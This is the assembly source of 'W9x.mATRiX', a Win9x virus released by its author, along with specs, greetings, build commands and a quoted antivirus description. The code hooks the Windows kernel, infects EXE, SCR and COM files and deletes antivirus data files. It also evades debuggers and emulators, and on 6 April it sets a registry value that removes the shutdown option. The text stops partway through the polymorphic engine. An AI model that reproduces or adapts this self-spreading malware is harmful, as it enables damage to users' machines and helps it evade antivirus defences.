ΫΫΫΫ ΫΫΫΫ ° ²ΫΫΫώ ° +°°°°²ΫΫΫ°ΫΫΫΫ°²ΫΫΫ°ΫΫΫΫ°°°°°ΫΫΫΫ°ΫΫΫΫ°²ΫΫΫ°Ϋ°ΫΫΫΫ°²ΫΫΫ°²ΫΫΫ°°°°°°²ΫΫΫ°ΫΫΫΫ° °° + ° ²ΫΫΫάΫΫΫΫά²ΫΫΫ ²ΫΫΫ ° ²ΫΫΫάΫΫΫΫ ²ΫΫΫάΫάΫΫΫΫ ²²ΫΫά²ΫΫΫ ° °²ΫΫΫάΫΫΫΫ[LW] + ίίίίίίί ° + W9x.mATRiX.size by LiFEwiRE [ShadowVX] - www.shadowvx.org + + + Intro + + This virus is my first windows virus, and the result of reading some + docs, tutorial and (Ring0 virus)-sources. + + It is not a very complicated virus, and it doesn't use new technics + too... Maybe the ASCII counter is some unusual feature. + + When debugging is enabled, this things are extra: + + Unload when dword at bff70400 <> 0h + Beep at certain events (get resident, unload & infect) + Beep can be turned off by changing byte ptr at bff70408 <> 0h + only infects files at your D: drive (it's my test drive) + + I use WinIce to modify the values. + + Specs: + + Ring0 resident, infects on IFSmgr file rename, open and attrib, EXE, + SCR and COM (!) files. Com files are infected for the payload, a scene + from The Matrix. The COM files are not really infected, but some date + checking code and action is appended on it. When the month is equal + to the date the payload will start. + + Infection : Increasing last section, and make a jump at orignal + entrypoint to it (when modifying EP to last section + AVPM will popup:( ) + + Encryption : XOR'd and polymorfic-build-up-decryptors. + Armour : Anti debugger & anti emulator (SEH & Anti-SoftICE) + + Payload(s) : 2, as i said above 1 which is appended to all .com files + on opening and c:\windows\win.com which will display + 'Wake up Neo... / The Matrix has you... / w9x.mATRiX' + like in the movie (except the last sentence, w9x.mATRiX:) + when the day is equal to the month (1 jan, 2 feb,etc.) + + the other payload will remove the shutdown command from + the start menu using the registery - at 06 april. + + KnownBugs : No I know... I tested this code a lot, and a friend of me + : infected his own PC accidently and it worked really good + :)... The only problem is that F-prot hangs on infected + files... hehe but that's not my problem :) + + Thanx to : Lord Julus, Billy Belcebu & Z0MBiE. + + Greets to : Ruzz', Kamaileon, z3r0, Bhunji, Dageshi, all other Shadow- + VX members, + r-, GigaByte, VirusBuster, CyberYoda, T00fic, all other + people i met on #virus & #vir, and 29A & iKX for their + nice magazines. + + and some non-virus greets: + + Ghostie :P, Hampy, nog wat XXXClan'ers, DJ Accelerator, + King Smozzeboss SMOS from Conehead SMOS games [NL1SMS] + PiepPiep, NL0JBL, BlueLIVE, MisterE & Xistence. + + Compile: Tasm32 /m3 /ml LiFEwiRE.ASM, + tlink32 /Tpe /aa /c LiFEwiRE.OBJ,,,import32.lib + pewrsec LiFEwiRE.EXE + + Contact: Lifewire@mail.ru + + +ϊΔΝΔΝΝΝΝΔΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΔϊΔΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΔΝΝΝΔΝΔ ϊ + +Description at www.viruslist.com + +Win95.Matrix + + +It is not a dangerous memory resident polymorphic parasitic Win9x virus. It +stays in the Windows memory as a device driver (VxD) by switching from +application mode to Windows kernel (Ring3->Ring0), hooks disk files access +functions, and infect PE executable files with EXE and SCR file name +extensions, and affects DOS COM files. + +While infecting a PE EXE file the virus encrypts itself and writes to the +file end. The virus also patches program's startup code with a short routine +that passes control to main virus code. + +While affecting DOS COM files the virus writes to the end of file a short +routine that has no infection abilities, but just displays a message on +July 7th: + + Wake up, Neo... + The Matrix has you... + w9x.mATRiX + +The virus also affects the C:\WINDOWS\WIN.COM file in the same way. + +On April 6th the virus modifies the system registry key: + +HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer NoClose = 1 + +As the result of this key a user cannot switch off the computer. + +The virus also deletes anti-virus data files: AVP.CRC, ANTI-VIR.DAT, IVB.NTZ, +CHKLIST.MS. + +The virus contains the text strings: + +[- comment from LiFEwiRE- AV'ers forgot to put the strings here??] + +where 'xxxxxxx' is the virus' "generation" number. + + +ϊΔΝΔΝΝΝΝΔΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΔϊΔΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΔΝΝΝΔΝΔ ϊ + +.486p +.model flat +locals +jumps + + extrn ExitProcess:PROC; ;only 4 first gen. + +;----- -[Equ's]- ------------------------------------------------------------; + +debug equ 1 ;test/debug version? + +virusz equ offset end - offset start +sectionflags equ 00000020h or 80000000h or 20000000h + +if debug eq 1 +inthook equ 05h ;let's hook this int for ring0 + else +inthook equ 03h ;let's hook this int for ring0 + endif + +JmpToCodesz equ offset EndJmpToCode-offset JmpToCode + +IFSMgr equ 0040h ;for VxDCall +InstallFileSystemApiHook equ 067h ;used in ring0 hooker +UniToBCSPath equ 041h ;used in hook to convert uni2ansi +Ring0_FileIO equ 032h ;for all file i/o + +IFSFN_FILEATTRIB equ 21h ;hooked functions +IFSFN_OPEN equ 24h +IFSFN_RENAME equ 25h + +R0_OPENCREATFILE equ 0D500h ;used with ring0_fileIO +R0_CLOSEFILE equ 0D700h +R0_WRITEFILE equ 0D601h +R0_READFILE equ 0D600h +R0_GETFILESIZE equ 0D800h +R0_FILEATTRIBUTES equ 04300h +GET_ATTRIBUTES equ 00h +SET_ATTRIBUTES equ 01h +R0_DELETEFILE equ 04100h + +PC_STATIC equ 20000000h ;for allocating pages +PC_WRITEABLE equ 00020000h ;and protecting them from +PC_USER equ 00040000h ;ring3 code +PAGEZEROINIT equ 00000001h +PAGEFIXED equ 00000008h +PG_SYS equ 1 + +Get_DDB equ 0146h ;VMMCall to find S-ICE + +PageAllocate equ 0053h +PageModifyPermissions equ 0133h + +SizeInPages equ (virusz+1000 + 4095) / 4096 + + +RegOpenKey equ 0148h ;used by payload for registery +RegSetValueEx equ 0152h ;modifying +HKEY_CURRENT_USER equ 80000001h ; +REG_DWORD equ 4 ; + + +debug_beep_FREQ equ 1700 ;for debugging +debug_beep_DELAY equ 50*65536 + +debug_beep_FREQ2 equ 700 ;for debugging +debug_beep_DELAY2 equ 100*65536 + +;----- -[Macro's]- ----------------------------------------------------------; + +VxDCall macro vxd_id, service_id + int 20h + dw service_id + dw vxd_id + endm + +VMMCall macro service_id ;Is just less work than doing + int 20h ;a VxDCall VMM, service + dw service_id + dw 0001h + endm + +if debug eq 1 +; display "Debug Version" + else + display " °±²Ϋ *Warning* This is the real version of the virus Ϋ²±°" +endif + +;----- -[Code]- -------------------------------------------------------------; +_CODE segment dword use32 public 'CODE' + +start: + pushad + + call getdelta +getdelta: + pop ebp + sub ebp,offset getdelta + + sub eax,00001000h ;Get imagebase at runtime +newEIP equ $-4 + + mov dword ptr [imagebase+ebp],eax + + pushad + + call setupSEHandKillEmu ;The call pushes the offset + + mov esp,[esp+8] ;Error gives us old ESP + jmp backtocode + +setupSEHandKillEmu: + xor edx,edx ;fs:[edx] = smaller then fs:[0] + push dword ptr fs:[edx] ;Push original SEH handler + mov fs:[edx],esp ;And put the new one (located + dec byte ptr cs:[edx] ;make error & let our SEH take + ;control (not nice 4 emu's:) +backtocode: + + pop dword ptr fs:[0] + pop edx ;pops EIP pushed by call setupSEH + + popad + + call SetupSEH ;to kill errors + + ;if eip gets here an error has occured + + mov esp,[esp+8] ;contains old ESP + + jmp RestoreSEH ;... + +SetupSEH: + xor edx,edx ;we are save now, if an error + push dword ptr fs:[edx] ;occure EIP will be at the + mov fs:[edx],esp ;code after SetupSEH + + push edx + sidt fword ptr [esp-2] ;'push' int table + pop edx ;restore stack from call and + ;edx contains pointer to IDT + + add edx,(inthook*8)+4 ;Get int vector + + mov ebx,dword ptr [edx] + mov bx,word ptr [edx-4] + + lea edi,dword ptr [ebp+Inthandler] ;routine to let int point to + + mov word ptr [edx-4],di + shr edi,16 ;high/low word + mov word ptr [edx+2],di + + int inthook ;call int, int will be ring0! + + mov word ptr [edx-4],bx ;Restore old interrupt values + shr ebx,16 + mov word ptr [edx+2],bx + + +RestoreSEH: + + xor edx,edx + pop dword ptr fs:[edx] + pop edx ;pops offset pushed by CALL + + mov edi,dword ptr [imagebase+ebp] ;--- Restore old bytes ---; + add edi,dword ptr [base+ebp] ;do at it ring0 to avoid + ;page errorz + lea esi,[offset oldbytes+ebp] + mov ecx,JmpToCodesz + rep movsb ;restore bytes from host + + popad + + mov eax,00h ;--- return to host ---; +imagebase equ $-4 + add eax,offset host -0400000h ;1st gen +base equ $-4 + + push eax + ret + +;----------------------------------------------------------------------------; +; **** RING0 LOADER **** +;----------------------------------------------------------------------------; +Inthandler: + pushad + + mov eax,0bff70404h ;already loaded? + cmp dword ptr [eax],eax + je back2ring3 + mov dword ptr [eax],eax + + push PAGEFIXED + PAGEZEROINIT + xor eax, eax + push eax ;PhysAddr + push eax ;maxPhys + push eax ;minPhys + push eax ;Align + push eax ;handle of VM = 0 if PG_SYS + push PG_SYS ;allocate memory in system area + push SizeInPages*2 ;nPages +VxD1V equ 00010053h +VxD1: VMMCall PageAllocate + add esp, 8*4 + + or eax,eax ;eax = place in mem + jz back2ring3 ;if zero error :( + + mov edi,eax ;set (e)destination + + push eax + + push edi + lea esi,[offset start+ebp] ;set source + mov ecx,virusz ;virussize + cld ;you never know with poly :) +rep movsb ;copy virus to allocated mem + pop edi + + mov dword ptr [edi+delta-start],edi + + lea ecx,[edi+offset hook-offset start] ;Install FileSystem Hook + push ecx +VxD2V equ InstallFileSystemApiHook+256*256*IFSMgr +VxD2: VxDCall IFSMgr,InstallFileSystemApiHook + pop ecx + + mov [edi+nexthook-start],eax + + pop eax + + push PC_STATIC + push 020060000h ;new paging settings + push SizeInPages*2 + shr eax, 12 + push eax +VxD5V equ 00010133h +VxD5: VMMCall PageModifyPermissions + add esp, 4*4 + + + call CheckThePayloadDate ;(and mayB do something:) + +if debug eq 1 + call debug_beep2 +endif + +back2ring3: + +if debug eq 1 + call debug_beep +endif + + popad + iretd ;exit int (to ring3!) +;----------------------------------------------------------------------------; + +host: +oldbytes: + Push 0 + Call ExitProcess + db JmpToCodesz-5 dup (176d) + +;----------------------------------------------------------------------------; +; **** FILESYSTEM HOOK **** +;----------------------------------------------------------------------------; + +hook: + push ebp + mov ebp,esp + + sub esp,20h + + push ebx + push esi + push edi + + db 0bfh ;mov edi,DeltaInMem +delta dd 0 + + cmp dword ptr [busy-start+edi],not "BuSY" ;...are we busy? + je back + +if debug eq 1 + cmp dword ptr [death-start+edi],'TRUE' + je back +endif + + mov eax,dword ptr [ebp+0Ch] ;EAX = Function + not eax + + cmp eax,not IFSFN_OPEN ;File Open? try it + jz infect + + cmp eax,not IFSFN_RENAME ;Rename? try it + jz infect + + cmp eax,not IFSFN_FILEATTRIB ;File Attributes? try it + jz infect + +back: + mov eax,[ebp+28] ; call the old + push eax + mov eax,[ebp+24] + push eax + mov eax,[ebp+20] + push eax + mov eax,[ebp+16] + push eax + mov eax,[ebp+12] + push eax + mov eax,[ebp+8] + push eax + + db 0b8h +nexthook dd 0 + call [eax] + + add esp,6*4 + + pop edi + pop esi + pop ebx + + leave + ret + +;----------------------------------------------------------------------------; +; **** SOME CHECKS BEFORE INFECTING **** +;----------------------------------------------------------------------------; + +infect: + pushad + +if debug eq 1 + mov eax,0bff70400h + mov eax,dword ptr [eax] + or eax,eax + jz stayalive ;kill ourself? + + mov dword ptr [edi+death-start],'TRUE' + + call debug_beep + call debug_beep2 + call debug_beep2 + call debug_beep2 + call debug_beep + + mov eax,0bff70400h + + xor edx,edx + mov dword ptr [eax],edx + mov dword ptr [eax+4],edx + +stayalive: + +endif + + mov dword ptr [busy-start+edi],not 'BuSY' + + lea esi, [edi+filename-start] ;file buffer + + mov eax, dword ptr [ebp+16] + cmp al,0ffh ;no drive defined? + je nopath + add al,40h ;a=1,b=2,a+40h='A',b+40h='B' + mov byte ptr [esi],al + mov word ptr [esi+1],':' + add esi,2 +nopath: + xor eax,eax + push eax ;push 0 ;BCS/WANSI + inc ah ;ax=100h + push eax ;push 100h ;buf size + mov eax,[ebp+28] + mov eax,[eax+12] + add eax,4 + push eax ;filename + push esi ;destination (buffer) + +VxD3V equ UniToBCSPath+256*256*IFSMgr +VxD3: VxDCall IFSMgr, UniToBCSPath ;Convert to ASCII + + add esp,4*4 ;restore stack + add esi,eax ;eax = lenght + mov byte ptr [esi],0 ;make ASCIIZ + + mov eax,dword ptr [esi-4] + + not eax ; + cmp eax,not 'EXE.' ;normal exe? + je infectit + + cmp eax,not 'RCS.' ;screensaver? + je infectit + + cmp eax,not 'MOC.' ;a com? (indeed !!:) + jne nocomfile + jmp payloadinfector +nocomfile: + +quitinfect: + + mov dword ptr [busy-start+edi],eax ;hope eax <> 'busy' :) + popad + + jmp back + +db "" + + + +dontinfect: ;when attrs. were already modified + pop esi ;get attribs + 1 = set + pop ecx ;old attrs + pop eax ;pointer to buffer with filen. + call R0_FileIO ;RESTORE ATTRIBUTES + jmp quitinfect + + +cryptkey dd 0 +cryptkey2 dw 0 + +;----------------------------------------------------------------------------; +; **** REAL PE INFECTION PART **** +;----------------------------------------------------------------------------; + +infectit: + + lea esi, [edi+filename-start] + + call checkname + jc quitinfect ;if name = bad + +if debug eq 1 + cmp word ptr [esi],":D" + jne quitinfect +endif + + mov eax,R0_FILEATTRIBUTES + GET_ATTRIBUTES + push eax + call R0_FileIO + + pop eax + inc eax ;eax=4300+1 = set + push eax + push ecx ;save attribs + push esi ;and esi,no new LEA needed + xor ecx,ecx ;new attr + call R0_FileIO + + xor ecx,ecx ;ecx=0 + mov edx,ecx ; + inc edx ;edx=1 + mov ebx,edx ; + inc ebx ;ebx=2 + mov eax,R0_OPENCREATFILE + call R0_FileIO + jc dontinfect + + mov ebx,eax ;file handle + + lea esi,[edi+pointertope-start] ;read pointer to PE at 3ch + mov ecx,4 ;into pointertope + mov edx,03ch + mov eax,R0_READFILE + call R0_FileIO + + lea esi,[edi+peheader-start] ;peheader buffer + mov ecx,1024 ;1024 bytes + mov edx,dword ptr [edi+pointertope-start] ;pointer to pe header + mov eax,R0_READFILE ;... + call R0_FileIO + + cmp word ptr [esi],'EP' ;is pe? + jne nope ;nope, its noPE :) + + mov eax,0badc0deh ;already infected? + cmp dword ptr [esi+4ch],eax ;4ch = reserved + je nope + mov dword ptr [esi+4ch],eax + + push ebp + push edi + push ebx ;save handle for after calcs. + + mov ebp,edi + + mov edi,esi + add esi,18h ;esi+18h=start of OptionalHeader + add si,word ptr [esi+14h-18h] ;esi-4 = pe/0/0+14h = size OH + ;optionalheader+size=allocation table + + ;edi = PE/0/0, esi = allocation table + + push esi + xor ecx,ecx + mov cx,word ptr [edi+6] ;put in ecx nr. of sections + xor eax,eax ;startvalue of eax + push cx ; +sectionsearch: + cmp dword ptr [esi+14h],eax ;is it the highest? + jb lower ;no + mov ebx,ecx ;remember section nr. + mov eax,dword ptr [esi+14h] ;and remember value +lower: + add esi,28h ;steps of 28h + loop sectionsearch + pop cx + + sub ecx,ebx + + mov eax,28h ;multiply with section length + mul ecx + pop esi + add esi,eax ;esi points now to section header + +; Section header layout, Tdump names things other (4 example rawdata) +; +;esi+0h 8h Section's name (.reloc, .idata, .LiFEwiRE) +; 8h 4h VirtualSize +; 0ch 4h RelativeVirtualAdress +; 10h 4h SizeOfRawData +; 14h 4h PointerToRawData +; 18h 4h PointerToRelocations +; 1ch 4h PointerToLinenumbers +; 20h 2h NumberOfRelocations +; 22h 2h NumberOfLinenumbers +; 24h 4h Characteristics + + +; ESI points to Section header, EDI points to PE + + or [esi+24h],sectionflags ; Update section's flagz + + mov edx,[esi+10h] ; EDX = SizeOfRawData + mov eax,edx ; EAX = SizeOfRawData + add edx,[esi+0Ch] ; EDX = New EIP + add eax,[esi+14h] ; EAX = Where append virus + push eax ; Save it + + push esi + + add eax,[esi+0Ch] + mov [edi+50h],eax + + mov eax,[edi+28h] ;backup entry RVA + mov dword ptr [ebp+base-start],eax ;... + mov dword ptr [ebp+newEIP-start],edx ;save it + + add edx,dword ptr [edi+34h] ;edx=neweip+imagebase + + mov dword ptr [ebp+distance-start],edx ; Store the address + + mov esi,edi + add esi,18h ;esi+18h=start of OptionalHeader + add si,word ptr [esi+14h-18h] ;esi-4 = pe/0/0+14h = size OH + + ;ESI points to the allocation table,EDI to PE + + ;lets find the section which contains the RVA. + + ;then the place where to put the jump is entry-rva+phys. + + sub esi,28h + + +look: add esi,28h + mov edx,eax ;Old EntryPoint (RVA) + sub edx,dword ptr [esi+0Ch] ;VirtualAddres + cmp edx,dword ptr [esi+08h] ;VirtualSize + jae look + + sub eax,dword ptr [esi+0ch] ;sub RVA + add eax,dword ptr [esi+14h] ;add PhysicalOffset + ;EAX is now the PhysicalOffset + ;of the EntryPoint + + or [esi+24h],sectionflags ; Update section's flagz + + pop esi + pop edx + pop ebx + + push edx ; + push esi + push eax + + lea esi,[ebp+oldbytes-start] ;read pointer to PE at 3ch + mov ecx,JmpToCodesz ;into pointertope + mov edx,eax + mov eax,R0_READFILE + call R0_FileIO + + mov word ptr [ebp+randombla-start],ax ;random value + + pop edx ;and write new bytes at entry + lea esi,[ebp+JmpToCode-start] ;point to make code jmp to + mov eax,R0_WRITEFILE ;the section which contains + mov ecx,JmpToCodesz ;the viruscode (modifying the + call R0_FileIO ;entry RVA will alert AV's) + + call VxDPatch ;unpatch VxDCalls (and VMM) + + call IncCounter ;a ASCII counter rules + + call encrypt ;encrypt,createpoly,returnsize (in ecx) + + ;encrypt-^ returns the virus size in ecx + + mov eax,ecx + mov ecx,[edi+3Ch] ;ECX = Alignment + push edx ; Align + xor edx,edx + push eax + div ecx + pop eax + sub ecx,edx + add eax,ecx + pop edx + mov ecx,eax ;aligned size to append + + pop esi + + add [esi+10h],eax ; Size of rawdata + mov eax,[esi+10h] ; + add [esi+08h],eax ; & virtual size + + pop edx + push edi + lea esi,[ebp+viruscopy-start] ;polymorfer returns size in + mov eax,R0_WRITEFILE ;the ECX register + push eax + call R0_FileIO ;append virus + + pop eax + pop esi + mov ecx,1024 + mov edx,[ebp+pointertope-start] + call R0_FileIO ;overwrite PE header + + + pop edi + pop ebp + +nope: + mov eax,R0_CLOSEFILE + call R0_FileIO + +if debug eq 1 + call debug_beep +endif + + call killAVfiles + call infectwindotcom ;for payload + + jmp dontinfect + +windotcom db "C:\WINDOWS\WIN.COM",0h ;for payload +sizewdc equ $-offset windotcom + +avpcrc db 9,"AVP.CRC",0h +antivirdat db 14,"ANTI-VIR.DAT",0h +ivbntz db 9,"IVB.NTZ",0h +chklistms db 12,"CHKLIST.MS",0h + +killAVfiles: + pushad + ;first add the path to the filename + mov ebp,edi + + lea edx,[offset avpcrc-start+ebp] + + mov ecx,4 +killing: + call killthisfile + xor ebx,ebx + mov bl,byte ptr [edx] + add edx,ebx + loop killing + + popad + + ret + + +killthisfile: + pushad + lea edi,[offset filename-start+ebp] + push edi + + mov al,'.' + cld + scasb ;search from left to right for the dot + jne $-1 + + std + mov al,'\' ;search from right to left for the \ + scasb + jne $-1 + + xor ecx,ecx + + inc edi ;edi pointed to char before \ + inc edi ;edi pointed to \ + + cld + + mov esi,edx + lodsb + mov cl,al +rep movsb + + pop esi + mov eax,R0_DELETEFILE + mov ecx,2027h + call R0_FileIO + popad + ret + +;-------------------------------------------------------------------------- +; **** MODIFIES COM FILES FOR PAYLOAD, SPECIAL FOR WIN.COM *** +;-------------------------------------------------------------------------- + +infectwindotcomflag db 0h + +infectwindotcom: ;called if virus is not resident + pushad + mov byte ptr [edi+offset infectwindotcomflag-start],'!' + + push edi + + lea esi,[offset windotcom-start+edi] + lea edi,[offset filename-start+edi] + mov ecx,sizewdc + cld +rep movsb + + pop edi + + jmp payloadinfector + +backfrominfecting: + + mov byte ptr [edi+offset infectwindotcomflag-start],173d ;­ + popad + ret + +;-------------------------------------------------------------------------- + +jmpop dw 0e990h ;nop & jmp +jmpval dw ? + + +;-------------------------------------------------------------------------- + +payloadinfector: +if debug eq 1 + cmp dword ptr [esi-8],'PRUB' ;*BURP.COM ? + jne wegvancom +endif + + lea esi, [edi+filename-start] + + xor ecx,ecx ;ecx=0 + mov edx,ecx ; + inc edx ;edx=1 + mov ebx,edx ; + inc ebx ;ebx=2 + mov eax,R0_OPENCREATFILE + call R0_FileIO + jc wegvancom + + mov ebx,eax ;file handle + + lea esi,[edi+first4bts-start] ;read first 4 bytes + mov ecx,4 + xor edx,edx + mov eax,R0_READFILE + call R0_FileIO + + cmp word ptr [edi+first4bts-start],'ZM' ;a renamed EXE ?? + je closecomfile + + cmp word ptr [edi+first4bts-start],0e990h ;already infected? + je closecomfile + + mov eax,R0_GETFILESIZE + call R0_FileIO ;get it's size + + cmp eax,0ffffh-0100h-dospayloadsize ;infectable? + ja closecomfile + + push eax + + sub eax,4 + mov word ptr [edi+jmpval-start],ax ;distance to jmp + + lea esi,[edi+offset jmpop-start] ;Write new jMP at 0h + mov eax,R0_WRITEFILE + mov ecx,4 + xor edx,edx + push eax + call R0_FileIO + + pop eax + pop edx ;place to append + push edx + lea esi,[edi+offset dospayload-start] + mov ecx,dospayloadsize + call R0_FileIO + + pop edx ;read 7 bytes before the end + push edx + sub edx,7 + mov ecx,7 + mov eax,R0_READFILE + lea esi,[edi+offset filename-start] ;just a buffer + call R0_FileIO + + pop edx + + cmp word ptr [edi+offset filename-start+3],'SN' ;ENUNS? (ENU is + jne closecomfile ;optional) + + add word ptr [edi+offset filename-start+5],dospayloadsize+7 + + mov ecx,7 + + lea esi,[edi+offset filename-start] + mov eax,R0_WRITEFILE + add edx,dospayloadsize + call R0_FileIO ;append updated ENUNS + +closecomfile: + mov eax,R0_CLOSEFILE + call R0_FileIO + +wegvancom: + +if debug eq 1 + call debug_beep +endif + + cmp byte ptr [edi+offset infectwindotcomflag-start],'!' + je backfrominfecting + + jmp quitinfect + +;-------------------------------------------------------------------------- + + + +;-------------------------------------------------------------------------- +; *** BEEPS used if debug equ 1 *** +;-------------------------------------------------------------------------- + + +if debug eq 1 +debug_beep: + push eax + push ecx + + mov eax,0bff70408h + cmp byte ptr [eax],0 + jne geenirritantgebiepvandaag + + mov al, 0B6h + out 43h, al + + mov al, (12345678h/debug_beep_FREQ) and 255 + out 42h, al + mov al, ((12345678h/debug_beep_FREQ) shr 16) and 255 + out 42h, al + + in al, 61h + or al, 3 + out 61h, al + + mov ecx, debug_beep_DELAY + loop $ + + in al, 61h + and al, not 3 + out 61h, al + + pop ecx + pop eax + ret + +debug_beep2: + push eax + push ecx + + mov al, 0B6h + out 43h, al + + mov al, (12345678h/debug_beep_FREQ2) and 255 + out 42h, al + mov al, ((12345678h/debug_beep_FREQ2) shr 16) and 255 + out 42h, al + + in al, 61h + or al, 3 + out 61h, al + + mov ecx, debug_beep_DELAY2 + loop $ + + in al, 61h + and al, not 3 + out 61h, al + +geenirritantgebiepvandaag: ;blaa dit versta jij toch niet looser :P + + pop ecx + pop eax + ret +endif + + +;-------------------------------------------------------------------------- +; File IO function, called lot of times, better for patching callback +;-------------------------------------------------------------------------- + +R0_FileIO: +VxD4V equ Ring0_FileIO+256*256*IFSMgr +VxD4: VxDCall IFSMgr, Ring0_FileIO + ret + +;-------------------------------------------------------------------------- + + + +;-------------------------------------------------------------------------- +; Increases the ASCII counter of infections +;-------------------------------------------------------------------------- + +IncCounter: ;counts a ASCII counter... when there are more than + ;9999999 files infected it contains a bug, but i don't + lea esi,[offset counter-start+6+ebp] ;expect that from this vir :) + +next: + inc byte ptr [esi] + cmp byte ptr [esi],'9'+1 + jb ok + mov byte ptr [esi],'0' + dec esi + jmp next +ok: + ret + + +;-------------------------------------------------------------------------- + +;------------------------------------------------------------------------------ +; Some things used in the registery payload +;------------------------------------------------------------------------------ + +KeyOfPolicies db "Software\Microsoft\Windows\CurrentVersion\Policies\Explorer",0h +valuename1 db "NoClose",0h ;no shutdown :) +ValueToSet dd 1h + + +CheckThePayloadDate: + + mov al,07h ;Get day + out 70h,al ;(returns it in hex btw!) + in al,71h + + cmp al,06h ;Is it 6th? + jnz noPayload + + mov al,08h ;Get month + out 70h,al ;(returns it in hex btw!) + in al,71h + + cmp al,04h ;Is it 4th? + jnz noPayload ;( + + lea eax,[offset pointertope+ebp] ;just a buffer + push eax + lea eax,[offset KeyOfPolicies+ebp] ;open this key + push eax + push HKEY_CURRENT_USER ; +VxD6V equ RegOpenKey+256*256*1 +VxD6: VMMCall RegOpenKey + + add esp,3*4 ;reset stackpointer + + push 4 ;length of value + lea eax,[offset ValueToSet+ebp] ;set value true + push eax + push REG_DWORD ;type + push 0 ;reserved + lea eax,[offset valuename1+ebp] + push eax + push [pointertope+ebp] ;handle +VxD7V equ RegSetValueEx+256*256*1 ;1 = VMM +VxD7: VMMCall RegSetValueEx + + add esp,6*4 + +noPayload: + ret + + +;-------------------------------------------------------------------------- + + +;-------------------------------------------------------------------------- +; Patches the VxDCalls (on execute windows modifies them to a real call) +;-------------------------------------------------------------------------- + +VxDPatch: + pushad + mov bx,020cdh ;int 20 used by VxDCall + + mov word ptr [VxD1-start+ebp],bx ;int 20 + mov dword ptr [VxD1-start+ebp+2],VxD1V ;dd with IFSMGR & fn. + + mov word ptr [VxD2-start+ebp],bx + mov dword ptr [VxD2-start+ebp+2],VxD2V + + mov word ptr [VxD3-start+ebp],bx + mov dword ptr [VxD3-start+ebp+2],VxD3V + + mov word ptr [VxD4-start+ebp],bx + mov dword ptr [VxD4-start+ebp+2],VxD4V + + mov word ptr [VxD5-start+ebp],bx + mov dword ptr [VxD5-start+ebp+2],VxD5V + + mov word ptr [VxD6-start+ebp],bx + mov dword ptr [VxD6-start+ebp+2],VxD6V + + mov word ptr [VxD7-start+ebp],bx + mov dword ptr [VxD7-start+ebp+2],VxD7V + + popad + ret + +;-------------------------------------------------------------------------- + + +rnd32_seed dd 0h + + +;------ this code is putted at EIP of host and jmps to virus code -----------; +JmpToCode: + stc + db 066h,0fh,083h ;jnc +randombla dw ? ;some place + mov eax,12345678h +distance equ $-4 + push eax + ret +EndJmpToCode: +;----------------------------------------------------------------------------; + +;this sweet code will be appended to .com files (234 / 0eah bytes large) + +dospayload label byte + db 0e8h,09h,00h,0ebh,012h,08bh,0ech,083h,0c4h,020h,0ebh,04h,0ebh + db 0fch,0cdh,021h,0e8h,02ch,00h,0ebh,0eeh,0e2h,0f9h,058h,08bh + db 0ech,02dh,03h,01h,0fbh,095h,0b4h,04ch,080h,0ech,022h,0cdh,021h + db 080h,0feh,07h,075h,05h,080h,0fah,07h,074h,017h,0beh,0eah,01h + db 03h,0f5h,0bfh,00h,01h,0a5h,0a5h,0b8h,00h,01h,050h,0c3h,0ebh + db 05h,0b8h,00h,04ch,0cdh,021h,0c3h,0beh,058h,01h,03h,0f5h,08bh + db 0feh,0b9h,092h,00h,0fch,0ach,0f6h,0d8h,0aah,0e2h,0fah,018h + db 07dh,00h,098h,00h,048h,0f9h,047h,0f6h,00h,018h,08dh,00h,042h + db 070h,0ffh,0fdh,0bh,018h,0a8h,00h,018h,0abh,00h,047h,0d4h,0ffh + db 018h,09eh,00h,018h,0b4h,00h,06h,015h,02h,0a0h,04ch,0d4h,033h + db 0dfh,076h,026h,04ch,0d4h,033h,0dfh,0d6h,02dh,080h,06h,0ech + db 08eh,0bh,09fh,03dh,0a9h,09fh,095h,09bh,0e0h,08bh,090h,0d4h + db 0e0h,0b2h,09bh,091h,0d2h,0d2h,0d2h,00h,0ach,098h,09bh,0e0h + db 0b3h,09fh,08ch,08eh,097h,088h,0e0h,098h,09fh,08dh,0e0h,087h + db 091h,08bh,0d2h,0d2h,0d2h,00h,089h,0c7h,088h,0d2h,093h,0bfh + db 0ach,0aeh,097h,0a8h,0e0h,0adh,0aah,0a8h,00h,018h,0eah,00h,0cdh + db 01h,04ch,0f6h,054h,055h,018h,055h,01h,0f6h,040h,08bh,09h,047h + db 0e2h,00h,018h,05fh,01h,01eh,05h,03dh,048h,0fdh,00h,033h,0f0h + db 04ch,0ffh,04bh,0e0h,033h,0f0h,03dh +first4bts dd ? ;the first 4 overwritten bytes from the host +dospayloadsize equ $-offset dospayload + +badnames label byte + db 04h,"_AVP" ;_AVP files + db 03h,"NAV" ;Norton AV + db 02h,"TB" ;Tbscan, Tbav32, whole shit + db 02h,"F-" ;F-Prot + db 03h,"PAV" ;Panda AV + db 03h,"DRW" ;Doc. Web + db 04h,"DSAV" ;Doc. Salomon + db 03h,"NOD" ;NodIce + db 03h,"SCA" ;SCAN + db 05h,"NUKEN" ;Nukenabber? (error with infecting) + db 04h,"YAPS" ;YetAnotherPortScanner (selfcheck) + db 03h,"HL." ;HalfLife (thx to Ghostie!) + db 04h,"MIRC" ;mIRC = strange + db 0h + +;-------------------------------------------------------------------------- +; * Checks the name of the file to be infected +;-------------------------------------------------------------------------- + +checkname: ;check for some bad names + pushad + + mov ebp,edi ;delta + mov edi,esi ;points to filename + + mov al,'.' + cld + scasb ;search from left to right for the dot + jne $-1 + + std + mov al,'\' ;search from right to left for the \ + scasb + jne $-1 + + inc edi ;edi pointed to char before \ + inc edi ;edi pointed to \ + + cld + + lea esi,[offset badnames+ebp-start] + +checkname2: + xor eax,eax ;for load AL + lodsb ;size of string in al + or al,al + jz didit + mov ecx,eax ;counter for bytes + push edi ;save pointer to filename +rep cmpsb ;compare stringbyte + pop edi + jz ArghItIsAshitFile + add esi,ecx + jmp checkname2 + +ArghItIsAshitFile: + popad + stc + ret +didit: + popad + clc + ret +;-------------------------------------------------------------------------- + + +;-------------------------------------------------------------------------- +; *** POLYMORFIC engine which generates decrypter & encrypts code *** +;-------------------------------------------------------------------------- + + +; +; The generated code will 